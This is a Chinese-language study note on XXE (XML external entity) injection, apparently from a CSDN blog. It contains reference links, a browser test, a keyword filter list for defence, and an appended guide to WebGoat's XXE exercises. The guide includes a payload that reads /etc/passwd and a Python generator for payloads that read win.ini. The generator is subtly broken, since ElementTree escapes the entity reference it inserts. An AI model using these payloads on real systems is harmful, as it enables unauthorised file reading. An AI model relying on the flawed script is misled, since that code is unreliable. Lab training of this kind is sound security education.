XXE漏洞笔记

参考:
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-059911.html
http://bobao.360.cn/learning/detail/3841.html
http://blog.youkuaiyun.com/u011721501/article/details/43775691
http://thief.one/2017/06/20/1/
这种漏洞平常关注的太少,印象中它是以X开头的,大概是跟XML有些关系。

参考:http://thief.one/2017/06/20/1/

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

然而XXE的利用也是取决于解释器的。
参考:
http://blog.youkuaiyun.com/u011721501/article/details/43775691
对于同一份代码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

Safari

这里写图片描述

Firefox

这里写图片描述

Chrome

这里写图片描述

而有些写法这三个浏览器都会报错。

xxe漏洞修复与防御

过滤用户提交的XML数据

过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC

//TODO

### 关于 WebGoat 中 XXE 漏洞题目的解题思路与练习笔记 #### 什么是 XXE 漏洞? XML 外部实体 (XXE) 漏洞允许攻击者通过恶意构建的 XML 文档利用应用程序解析器的功能,读取本地文件、执行远程代码或发起拒绝服务攻击。这种漏洞通常发生在服务器端未正确配置 XML 解析器的情况下[^1]。 --- #### WebGoat 平台简介 WebGoat 是由 OWASP 提供的一款 Java 应用程序靶场工具,旨在帮助开发者和安全研究人员了解并实践各种 Web 安全漏洞及其防护方法。它涵盖了多种常见漏洞类型,包括但不限于 XSS、SQL 注入以及 XXE 等[^2]。 --- #### WebGoat 中 XXE 题目概述 在 WebGoat 的 XXE 训练模块中,用户可以通过一系列挑战来熟悉如何发现和利用此类漏洞。以下是针对该部分的一些通用解题思路: 1. **理解目标环境** - 分析给定的应用逻辑,确认是否存在对用户提交数据(如上传文件或表单输入)中的 XML 数据进行处理的行为。 - 如果存在,则进一步验证其使用的 XML 解析库是否启用了外部实体加载功能。 2. **构造恶意 payload** 使用标准 DTD(文档类型定义),尝试引入外部资源路径作为测试载体。例如: ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> ``` 上述代码片段试图从 Linux 文件系统中提取 `/etc/passwd` 文件的内容,并将其嵌套到响应消息体里返回给客户端。 3. **观察反馈结果** 将上述请求发送至目标接口后,仔细查看服务器回传的数据包内容是否有预期敏感信息泄露现象发生;如果没有成功获取所需资料,则需调整策略重新尝试其他可能存在的薄弱环节直至达成最终目的为止。 4. **实施防御措施建议** 当完成所有指定任务之后,还需要掌握有效的缓解办法以防止实际生产环境中再次遭遇类似威胁情况的发生。具体做法如下所示: - 禁止不必要的特性支持——关闭 DOMParser 或 SAXParser 对外网链接地址的支持选项; - 设置严格的白名单机制过滤掉非法字符集编码形式; - 更新第三方依赖版本号保持最新状态从而减少潜在风险暴露面。 --- #### 示例代码展示 下面是一段简单的 Python 脚本用于自动化生成基本类型的 XXE 测试向量: ```python import xml.etree.ElementTree as ET def create_xxe_payload(entity_name, system_id): dtd = f'''<!DOCTYPE root [ <!ENTITY {entity_name} SYSTEM "{system_id}"> ]>''' root = ET.Element('root') tree = ET.ElementTree(root) # Add entity reference inside the element text. root.text = f'&{entity_name};' return '\n'.join([dtd, ET.tostring(root).decode()]) if __name__ == "__main__": print(create_xxe_payload("secret", "file:///C:/Windows/win.ini")) ``` 此函数接受两个参数分别代表自定义标签名称及要访问的目标位置字符串值,最后输出完整的符合要求格式化的 XML 结构化文本串以便后续操作调用。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值